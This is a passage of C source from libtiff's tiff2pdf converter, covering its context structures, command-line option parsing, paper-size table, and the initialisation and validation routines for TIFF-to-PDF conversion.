typedef struct { float x1; float y1; float x2; float y2; float mat[9]; } T2P_BOX; /* This struct defines a tile of a PDF. */ typedef struct { T2P_BOX tile_box; } T2P_TILE; /* This struct defines information about the tiles on a PDF page. */ typedef struct { ttile_t tiles_tilecount; uint32 tiles_tilewidth; uint32 tiles_tilelength; uint32 tiles_tilecountx; uint32 tiles_tilecounty; uint32 tiles_edgetilewidth; uint32 tiles_edgetilelength; T2P_TILE* tiles_tiles; } T2P_TILES; /* This struct is the context of a function to generate PDF from a TIFF. */ typedef struct { t2p_err_t t2p_error; T2P_PAGE* tiff_pages; T2P_TILES* tiff_tiles; tdir_t tiff_pagecount; uint16 tiff_compression; uint16 tiff_photometric; uint16 tiff_fillorder; uint16 tiff_bitspersample; uint16 tiff_samplesperpixel; uint16 tiff_planar; uint32 tiff_width; uint32 tiff_length; float tiff_xres; float tiff_yres; uint16 tiff_orientation; toff_t tiff_dataoffset; tsize_t tiff_datasize; uint16 tiff_resunit; uint16 pdf_centimeters; uint16 pdf_overrideres; uint16 pdf_overridepagesize; float pdf_defaultxres; float pdf_defaultyres; float pdf_xres; float pdf_yres; float pdf_defaultpagewidth; float pdf_defaultpagelength; float pdf_pagewidth; float pdf_pagelength; float pdf_imagewidth; float pdf_imagelength; int pdf_image_fillpage; /* 0 (default: no scaling, 1:scale imagesize to pagesize */ T2P_BOX pdf_mediabox; T2P_BOX pdf_imagebox; uint16 pdf_majorversion; uint16 pdf_minorversion; uint32 pdf_catalog; uint32 pdf_pages; uint32 pdf_info; uint32 pdf_palettecs; uint16 pdf_fitwindow; uint32 pdf_startxref; #define TIFF2PDF_FILEID_SIZE 33 char pdf_fileid[TIFF2PDF_FILEID_SIZE]; #define TIFF2PDF_DATETIME_SIZE 17 char pdf_datetime[TIFF2PDF_DATETIME_SIZE]; #define TIFF2PDF_CREATOR_SIZE 512 char pdf_creator[TIFF2PDF_CREATOR_SIZE]; #define TIFF2PDF_AUTHOR_SIZE 512 char pdf_author[TIFF2PDF_AUTHOR_SIZE]; #define TIFF2PDF_TITLE_SIZE 512 char pdf_title[TIFF2PDF_TITLE_SIZE]; #define TIFF2PDF_SUBJECT_SIZE 512 char pdf_subject[TIFF2PDF_SUBJECT_SIZE]; #define TIFF2PDF_KEYWORDS_SIZE 512 char pdf_keywords[TIFF2PDF_KEYWORDS_SIZE]; t2p_cs_t pdf_colorspace; uint16 pdf_colorspace_invert; uint16 pdf_switchdecode; uint16 pdf_palettesize; unsigned char* pdf_palette; int pdf_labrange[4]; t2p_compress_t pdf_defaultcompression; uint16 pdf_defaultcompressionquality; t2p_compress_t pdf_compression; uint16 pdf_compressionquality; uint16 pdf_nopassthrough; t2p_transcode_t pdf_transcode; t2p_sample_t pdf_sample; uint32* pdf_xrefoffsets; uint32 pdf_xrefcount; tdir_t pdf_page; #ifdef OJPEG_SUPPORT tdata_t pdf_ojpegdata; uint32 pdf_ojpegdatalength; uint32 pdf_ojpegiflength; #endif float tiff_whitechromaticities[2]; float tiff_primarychromaticities[6]; float tiff_referenceblackwhite[2]; float* tiff_transferfunction[3]; int pdf_image_interpolate; /* 0 (default) : do not interpolate, 1 : interpolate */ uint16 tiff_transferfunctioncount; uint32 pdf_icccs; uint32 tiff_iccprofilelength; tdata_t tiff_iccprofile; /* fields for custom read/write procedures */ FILE *outputfile; int outputdisable; tsize_t outputwritten; } T2P; /* These functions are called by main. */ void tiff2pdf_usage(void); int tiff2pdf_match_paper_size(float*, float*, char*); /* These functions are used to generate a PDF from a TIFF. */ #ifdef __cplusplus extern "C" { #endif T2P* t2p_init(void); void t2p_validate(T2P*); tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*); void t2p_free(T2P*); #ifdef __cplusplus } #endif void t2p_read_tiff_init(T2P*, TIFF*); int t2p_cmp_t2p_page(const void*, const void*); void t2p_read_tiff_data(T2P*, TIFF*); void t2p_read_tiff_size(T2P*, TIFF*); void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t); int t2p_tile_is_right_edge(T2P_TILES, ttile_t); int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t); int t2p_tile_is_edge(T2P_TILES, ttile_t); int t2p_tile_is_corner_edge(T2P_TILES, ttile_t); tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*); tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t); #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P*, TIFF*); #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t, tsize_t*, tstrip_t, uint32); #endif void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32); void t2p_write_advance_directory(T2P*, TIFF*); tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t); tsize_t t2p_sample_realize_palette(T2P*, unsigned char*); tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32); tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32); tsize_t t2p_write_pdf_header(T2P*, TIFF*); tsize_t t2p_write_pdf_obj_start(uint32, TIFF*); tsize_t t2p_write_pdf_obj_end(TIFF*); tsize_t t2p_write_pdf_name(unsigned char*, TIFF*); tsize_t t2p_write_pdf_string(char*, TIFF*); tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*); tsize_t t2p_write_pdf_stream_start(TIFF*); tsize_t t2p_write_pdf_stream_end(TIFF*); tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*); tsize_t t2p_write_pdf_stream_dict_start(TIFF*); tsize_t t2p_write_pdf_stream_dict_end(TIFF*); tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*); tsize_t t2p_write_pdf_catalog(T2P*, TIFF*); tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*); void t2p_pdf_currenttime(T2P*); void t2p_pdf_tifftime(T2P*, TIFF*); tsize_t t2p_write_pdf_pages(T2P*, TIFF*); tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*); void t2p_compose_pdf_page(T2P*); void t2p_compose_pdf_page_orient(T2P_BOX*, uint16); void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16); tsize_t t2p_write_pdf_page_content(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer(T2P*, TIFF*); tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16); tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*); tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*); tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*); tsize_t t2p_write_pdf_trailer(T2P*, TIFF*); #define check_snprintf_ret(t2p, rv, buf) do { \ if ((rv) < 0) rv = 0; \ else if((rv) >= (int)sizeof(buf)) (rv) = sizeof(buf) - 1; \ else break; \ if ((t2p) != NULL) (t2p)->t2p_error = T2P_ERR_ERROR; \ } while(0) static void t2p_disable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 1; } static void t2p_enable(TIFF *tif) { T2P *t2p = (T2P*) TIFFClientdata(tif); t2p->outputdisable = 0; } /* * Procs for TIFFClientOpen */ #ifdef OJPEG_SUPPORT static tmsize_t t2pReadFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetReadProc(tif); if (proc) return proc(client, data, size); return -1; } #endif /* OJPEG_SUPPORT */ static tmsize_t t2pWriteFile(TIFF *tif, tdata_t data, tmsize_t size) { thandle_t client = TIFFClientdata(tif); TIFFReadWriteProc proc = TIFFGetWriteProc(tif); if (proc) return proc(client, data, size); return -1; } static uint64 t2pSeekFile(TIFF *tif, toff_t offset, int whence) { thandle_t client = TIFFClientdata(tif); TIFFSeekProc proc = TIFFGetSeekProc(tif); if (proc) return proc(client, offset, whence); return -1; } static tmsize_t t2p_readproc(thandle_t handle, tdata_t data, tmsize_t size) { (void) handle, (void) data, (void) size; return -1; } static tmsize_t t2p_writeproc(thandle_t handle, tdata_t data, tmsize_t size) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) { tsize_t written = fwrite(data, 1, size, t2p->outputfile); t2p->outputwritten += written; return written; } return size; } static uint64 t2p_seekproc(thandle_t handle, uint64 offset, int whence) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) return _TIFF_fseek_f(t2p->outputfile, (_TIFF_off_t) offset, whence); return offset; } static int t2p_closeproc(thandle_t handle) { T2P *t2p = (T2P*) handle; return fclose(t2p->outputfile); } static uint64 t2p_sizeproc(thandle_t handle) { (void) handle; return -1; } static int t2p_mapproc(thandle_t handle, void **data, toff_t *offset) { (void) handle, (void) data, (void) offset; return -1; } static void t2p_unmapproc(thandle_t handle, void *data, toff_t offset) { (void) handle, (void) data, (void) offset; } #if defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) static uint64 checkAdd64(uint64 summand1, uint64 summand2, T2P* t2p) { uint64 bytes = summand1 + summand2; if (bytes < summand1) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } #endif /* defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) */ static uint64 checkMultiply64(uint64 first, uint64 second, T2P* t2p) { uint64 bytes = first * second; if (second && bytes / second != first) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } /* This is the main function. The program converts one TIFF file to one PDF file, including multiple page TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF files that contain data of TIFF photometric interpretations of bilevel, grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by libtiff and PDF. If you have multiple TIFF files to convert into one PDF file then use tiffcp or other program to concatenate the files into a multiple page TIFF file. If the input TIFF file is of huge dimensions (greater than 10000 pixels height or width) convert the input image to a tiled TIFF if it is not already. The standard output is standard output. Set the output file name with the "-o output.pdf" option. All black and white files are compressed into a single strip CCITT G4 Fax compressed PDF, unless tiled, where tiled black and white images are compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support is assumed. Color and grayscale data can be compressed using either JPEG compression, ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951. Set the compression type using the -j or -z options. JPEG compression support requires that libtiff be configured with JPEG support, and Zip/Deflate compression support requires that libtiff is configured with Zip support, in tiffconf.h. Use only one or the other of -j and -z. The -q option sets the image compression quality, that is 1-100 with libjpeg JPEG compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9. PNG Group differencing predictor methods are not currently implemented. If the input TIFF contains single strip CCITT G4 Fax compressed information, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set, -d and -n. If the input TIFF contains JPEG or single strip Zip/Deflate compressed information, and they are configured, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set. The default page size upon which the TIFF image is placed is determined by the resolution and extent of the image data. Default values for the TIFF image resolution can be set using the -x and -y options. The page size can be set using the -p option for paper size, or -w and -l for paper width and length, then each page of the TIFF image is centered on its page. The distance unit for default resolution and page width and length can be set by the -u option, the default unit is inch. Various items of the output document information can be set with the -e, -c, -a, -t, -s, and -k tags. Setting the argument of the option to "" for these tags causes the relevant document information field to be not written. Some of the document information values otherwise get their information from the input TIFF image, the software, author, document name, and image description. The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using Zip/Deflate compression. The Portable Document Format (PDF) specification is copyrighted by Adobe Systems, Incorporated. Todos derechos reservados. Here is a listing of the usage example and the options to the tiff2pdf program that is part of the libtiff distribution. Options followed by a colon have a required argument. usage: tiff2pdf [options] input.tif options: -o: output to file name -j: compress with JPEG (requires libjpeg configured with libtiff) -z: compress with Zip/Deflate (requires zlib configured with libtiff) -q: compression quality -n: no compressed data passthrough -d: do not compress (decompress) -i: invert colors -u: set distance unit, 'i' for inch, 'm' for centimeter -x: set x resolution default -y: set y resolution default -w: width in units -l: length in units -r: 'd' for resolution default, 'o' for resolution override -p: paper size, eg "letter", "legal", "a4" -F: make the tiff fill the PDF page -f: set pdf "fit window" user preference -b: set PDF "Interpolate" user preference -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS -c: creator, overrides image software default -a: author, overrides image artist default -t: title, overrides image document name default -s: subject, overrides image image description default -k: keywords -h: usage examples: tiff2pdf -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff. tiff2pdf input.tiff The above example would generate PDF output from input.tiff and write it to standard output. tiff2pdf -j -p letter -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff, putting the image pages on a letter sized page, compressing the output with JPEG. Please report bugs through: http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff See also libtiff.3t, tiffcp. */ int main(int argc, char** argv){ #if !HAVE_DECL_OPTARG extern char *optarg; extern int optind; #endif const char *outfilename = NULL; T2P *t2p = NULL; TIFF *input = NULL, *output = NULL; int c, ret = EXIT_SUCCESS; t2p = t2p_init(); if (t2p == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't initialize context"); goto fail; } while (argv && (c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbhF")) != -1){ switch (c) { case 'o': outfilename = optarg; break; #ifdef JPEG_SUPPORT case 'j': t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG; break; #endif #ifndef JPEG_SUPPORT case 'j': TIFFWarning( TIFF2PDF_MODULE, "JPEG support in libtiff required for JPEG compression, ignoring option"); break; #endif #ifdef ZIP_SUPPORT case 'z': t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP; break; #endif #ifndef ZIP_SUPPORT case 'z': TIFFWarning( TIFF2PDF_MODULE, "Zip support in libtiff required for Zip compression, ignoring option"); break; #endif case 'q': t2p->pdf_defaultcompressionquality=atoi(optarg); break; case 'n': t2p->pdf_nopassthrough=1; break; case 'd': t2p->pdf_defaultcompression=T2P_COMPRESS_NONE; break; case 'u': if(optarg[0]=='m'){ t2p->pdf_centimeters=1; } break; case 'x': t2p->pdf_defaultxres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'y': t2p->pdf_defaultyres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'w': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagewidth = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'l': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagelength = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'r': if(optarg[0]=='o'){ t2p->pdf_overrideres=1; } break; case 'p': if(tiff2pdf_match_paper_size( &(t2p->pdf_defaultpagewidth), &(t2p->pdf_defaultpagelength), optarg)){ t2p->pdf_overridepagesize=1; } else { TIFFWarning(TIFF2PDF_MODULE, "Unknown paper size %s, ignoring option", optarg); } break; case 'i': t2p->pdf_colorspace_invert=1; break; case 'F': t2p->pdf_image_fillpage = 1; break; case 'f': t2p->pdf_fitwindow=1; break; case 'e': if (strlen(optarg) == 0) { t2p->pdf_datetime[0] = '\0'; } else { t2p->pdf_datetime[0] = 'D'; t2p->pdf_datetime[1] = ':'; strncpy(t2p->pdf_datetime + 2, optarg, sizeof(t2p->pdf_datetime) - 3); t2p->pdf_datetime[sizeof(t2p->pdf_datetime) - 1] = '\0'; } break; case 'c': strncpy(t2p->pdf_creator, optarg, sizeof(t2p->pdf_creator) - 1); t2p->pdf_creator[sizeof(t2p->pdf_creator) - 1] = '\0'; break; case 'a': strncpy(t2p->pdf_author, optarg, sizeof(t2p->pdf_author) - 1); t2p->pdf_author[sizeof(t2p->pdf_author) - 1] = '\0'; break; case 't': strncpy(t2p->pdf_title, optarg, sizeof(t2p->pdf_title) - 1); t2p->pdf_title[sizeof(t2p->pdf_title) - 1] = '\0'; break; case 's': strncpy(t2p->pdf_subject, optarg, sizeof(t2p->pdf_subject) - 1); t2p->pdf_subject[sizeof(t2p->pdf_subject) - 1] = '\0'; break; case 'k': strncpy(t2p->pdf_keywords, optarg, sizeof(t2p->pdf_keywords) - 1); t2p->pdf_keywords[sizeof(t2p->pdf_keywords) - 1] = '\0'; break; case 'b': t2p->pdf_image_interpolate = 1; break; case 'h': case '?': tiff2pdf_usage(); goto success; break; } } /* * Input */ if(argc > optind) { input = TIFFOpen(argv[optind++], "r"); if (input==NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open input file %s for reading", argv[optind-1]); goto fail; } } else { TIFFError(TIFF2PDF_MODULE, "No input file specified"); tiff2pdf_usage(); goto fail; } if(argc > optind) { TIFFError(TIFF2PDF_MODULE, "No support for multiple input files"); tiff2pdf_usage(); goto fail; } /* * Output */ t2p->outputdisable = 1; if (outfilename) { t2p->outputfile = fopen(outfilename, "wb"); if (t2p->outputfile == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open output file %s for writing", outfilename); goto fail; } } else { outfilename = "-"; t2p->outputfile = stdout; } output = TIFFClientOpen(outfilename, "w", (thandle_t) t2p, t2p_readproc, t2p_writeproc, t2p_seekproc, t2p_closeproc, t2p_sizeproc, t2p_mapproc, t2p_unmapproc); t2p->outputdisable = 0; if (output == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't initialize output descriptor"); goto fail; } /* * Validate */ t2p_validate(t2p); t2pSeekFile(output, (toff_t) 0, SEEK_SET); /* * Write */ t2p_write_pdf(t2p, input, output); if (t2p->t2p_error != 0) { TIFFError(TIFF2PDF_MODULE, "An error occurred creating output PDF file"); goto fail; } goto success; fail: ret = EXIT_FAILURE; success: if(input != NULL) TIFFClose(input); if (output != NULL) TIFFClose(output); if (t2p != NULL) t2p_free(t2p); return ret; } void tiff2pdf_usage(){ char* lines[]={ "usage: tiff2pdf [options] input.tiff", "options:", " -o: output to file name", #ifdef JPEG_SUPPORT " -j: compress with JPEG", #endif #ifdef ZIP_SUPPORT " -z: compress with Zip/Deflate", #endif " -q: compression quality", " -n: no compressed data passthrough", " -d: do not compress (decompress)", " -i: invert colors", " -u: set distance unit, 'i' for inch, 'm' for centimeter", " -x: set x resolution default in dots per unit", " -y: set y resolution default in dots per unit", " -w: width in units", " -l: length in units", " -r: 'd' for resolution default, 'o' for resolution override", " -p: paper size, eg \"letter\", \"legal\", \"A4\"", " -F: make the tiff fill the PDF page", " -f: set PDF \"Fit Window\" user preference", " -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS", " -c: sets document creator, overrides image software default", " -a: sets document author, overrides image artist default", " -t: sets document title, overrides image document name default", " -s: sets document subject, overrides image image description default", " -k: sets document keywords", " -b: set PDF \"Interpolate\" user preference", " -h: usage", NULL }; int i=0; fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i=0;lines[i]!=NULL;i++){ fprintf(stderr, "%s\n", lines[i]); } return; } int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){ size_t i, len; const char* sizes[]={ "LETTER", "A4", "LEGAL", "EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", "2A0", "4A0", "2A", "4A", "B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", "JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", "JISB3", "JISB2", "JISB1", "JISB0", "C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", "RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", "A3EXTRA", "A4EXTRA", "STATEMENT", "FOLIO", "QUARTO", NULL } ; const int widths[]={ 612, 595, 612, 522, 612,612,792,792, 612,792,1224,1584,2448,2016,792,2016,2448,2880, 74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768, 88,125,176,249,354,499,709,1001,1417,2004,2835, 91,128,181,258,363,516,729,1032,1460,2064,2920, 79,113,162,230,323,459,649,918,1298,1298,2599, 1219,1729,2438,638,907,1276,1814,2551, 914,667, 396, 612, 609, 0 }; const int lengths[]={ 792,842,1008, 756,792,1008,1224,1224, 792,1224,1584,2448,3168,2880,6480,10296,12672,10296, 105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741, 125,176,249,354,499,709,1001,1417,2004,2835,4008, 128,181,258,363,516,729,1032,1460,2064,2920,4127, 113,162,230,323,459,649,918,1298,1837,1837,3677, 1729,2438,3458,907,1276,1814,2551,3628, 1262,914, 612, 936, 780, 0 }; len=strlen(papersize); for(i=0;i<len;i++){ papersize[i]=toupper((int) papersize[i]); } for(i=0;sizes[i]!=NULL; i++){ if (strcmp( (const char*)papersize, sizes[i])==0){ *width=(float)widths[i]; *length=(float)lengths[i]; return(1); } } return(0); } /* * This function allocates and initializes a T2P context struct pointer. */ T2P* t2p_init() { T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P)); if(t2p==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_init", (unsigned long) sizeof(T2P)); return( (T2P*) NULL ); } _TIFFmemset(t2p, 0x00, sizeof(T2P)); t2p->pdf_majorversion=1; t2p->pdf_minorversion=1; t2p->pdf_defaultxres=300.0; t2p->pdf_defaultyres=300.0; t2p->pdf_defaultpagewidth=612.0; t2p->pdf_defaultpagelength=792.0; t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */ return(t2p); } /* * This function frees a T2P context struct pointer and any allocated data fields of it. */ void t2p_free(T2P* t2p) { int i = 0; if (t2p != NULL) { if(t2p->pdf_xrefoffsets != NULL){ _TIFFfree( (tdata_t) t2p->pdf_xrefoffsets); } if(t2p->tiff_pages != NULL){ _TIFFfree( (tdata_t) t2p->tiff_pages); } for(i=0;i<t2p->tiff_pagecount;i++){ if(t2p->tiff_tiles[i].tiles_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles); } } if(t2p->tiff_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles); } if(t2p->pdf_palette != NULL){ _TIFFfree( (tdata_t) t2p->pdf_palette); } #ifdef OJPEG_SUPPORT if(t2p->pdf_ojpegdata != NULL){ _TIFFfree( (tdata_t) t2p->pdf_ojpegdata); } #endif _TIFFfree( (tdata_t) t2p ); } return; } /* This function validates the values of a T2P context struct pointer before calling t2p_write_pdf with it. */ void t2p_validate(T2P* t2p){ #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_defaultcompressionquality>100 || t2p->pdf_defaultcompressionquality<1){ t2p->pdf_defaultcompressionquality=0; } } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){ uint16 m=t2p->pdf_defaultcompressionquality%100; if(t2p->pdf_defaultcompressionquality/100 > 9 || (m>1 && m<10) || m>15){ t2p->pdf_defaultcompressionquality=0; } if(t2p->pdf_defaultcompressionquality%100 !=0){ t2p->pdf_defaultcompressionquality/=100; t2p->pdf_defaultcompressionquality*=100; TIFFError( TIFF2PDF_MODULE, "PNG Group predictor differencing not implemented, assuming compression quality %u", t2p->pdf_defaultcompressionquality); } t2p->pdf_defaultcompressionquality%=100; if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } #endif (void)0; return; } /* This function scans the input TIFF file for pages. It attempts to determine which IFD's of the TIFF file contain image document pages. For each, it gathers some information that has to do with the output of the PDF document as a whole. */ void t2p_read_tiff_init(T2P* t2p, TIFF* input){ tdir_t directorycount=0; tdir_t i=0; uint16 pagen=0; uint16 paged=0; uint16 xuint16=0; directorycount=TIFFNumberOfDirectories(input); t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_PAGE))); if(t2p->tiff_pages==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_pages array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_PAGE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE)); t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_TILES))); if(t2p->tiff_tiles==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_tiles array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_TILES), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES)); for(i=0;i<directorycount;i++){ uint32 subfiletype = 0; if(!TIFFSetDirectory(input, i)){ TIFFError( TIFF2PDF_MODULE, "Can't set directory %u of input file %s", i, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){ if((pagen>paged) && (paged != 0)){ t2p->tiff_pages[t2p->tiff_pagecount].page_number = paged; } else { t2p->tiff_pages[t2p->tiff_pagecount].page_number = pagen; } goto ispage2; } if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){ if ( ((subfiletype & FILETYPE_PAGE) != 0) || (subfiletype == 0)){ goto ispage; } else { goto isnotpage; } } if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){ if ((subfiletype == OFILETYPE_IMAGE) || (subfiletype == OFILETYPE_PAGE) || (subfiletype == 0) ){ goto ispage; } else { goto isnotpage; } } ispage: t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount; ispage2: t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i; if(TIFFIsTiled(input)){ t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = TIFFNumberOfTiles(input); } t2p->tiff_pagecount++; isnotpage: (void)0; } qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount, sizeof(T2P_PAGE), t2p_cmp_t2p_page); for(i=0;i<t2p->tiff_pagecount;i++){ t2p->pdf_xrefcount += 5; TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory ); if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16) && (xuint16==PHOTOMETRIC_PALETTE)) || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) { t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; } #ifdef ZIP_SUPPORT if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) { if( (xuint16== COMPRESSION_DEFLATE || xuint16== COMPRESSION_ADOBE_DEFLATE) && ((t2p->tiff_pages[i].page_tilecount != 0) || TIFFNumberOfStrips(input)==1) && (t2p->pdf_nopassthrough==0) ){ if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } } #endif if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount = 3; t2p->tiff_pages[i].page_extra += 4; t2p->pdf_xrefcount += 4; } else { t2p->tiff_transferfunctioncount = 1; t2p->tiff_pages[i].page_extra += 2; t2p->pdf_xrefcount += 2; } if(t2p->pdf_minorversion < 2) t2p->pdf_minorversion = 2; } else { t2p->tiff_transferfunctioncount=0; } if( TIFFGetField( input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile)) != 0){ t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;} } t2p->tiff_tiles[i].tiles_tilecount= t2p->tiff_pages[i].page_tilecount; if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0) && (xuint16 == PLANARCONFIG_SEPARATE ) ){ if( !TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16) ) { TIFFError( TIFF2PDF_MODULE, "Missing SamplesPerPixel, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if( (t2p->tiff_tiles[i].tiles_tilecount % xuint16) != 0 ) { TIFFError( TIFF2PDF_MODULE, "Invalid tile count, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->tiff_tiles[i].tiles_tilecount/= xuint16; } if( t2p->tiff_tiles[i].tiles_tilecount > 0){ t2p->pdf_xrefcount += (t2p->tiff_tiles[i].tiles_tilecount -1)*2; 